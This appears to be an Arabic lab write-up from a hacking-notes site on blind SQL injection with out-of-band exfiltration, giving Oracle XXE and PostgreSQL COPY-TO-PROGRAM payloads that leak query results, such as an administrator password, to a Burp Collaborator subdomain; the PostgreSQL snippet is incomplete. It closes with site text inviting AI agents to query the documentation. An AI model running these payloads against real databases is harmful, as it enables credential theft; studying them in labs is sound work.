# استخراج البيانات عبر SQL Injection باستخدام سلسلة OOB

### حقن SQL أعمى مع تسريب البيانات عبر قنوات خارج النطاق

يحتوي هذا المختبر على ثغرة حقن SQL عمياء. يستخدم التطبيق ملف تعريف ارتباط للتتبع من أجل التحليلات وينفذ استعلام SQL يحتوي على قيمة ملف تعريف الارتباط المُرسل. / يتم تنفيذ استعلام SQL بشكل غير متزامن ولا يؤثر في استجابة التطبيق. ومع ذلك، من الممكن استثارة تفاعلات خارج النطاق مع نطاق خارجي. / تحتوي قاعدة البيانات على جدول منفصل باسم `users`، مع `اسم المستخدم` و `كلمة المرور` أعمدة. تحتاج إلى استغلال ثغرة حقن SQL العمياء لاكتشاف `administrator` كلمة مرور المستخدم.

* Oracle

{% code overflow="wrap" %}

```sql
SELECT EXTRACTVALUE(
  xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),
  '/l')
FROM dual
```

{% endcode %}

* PostgresSQL

```sql
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/sql-injection/sql-injection-data-exfiltration-via-oob-channel.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
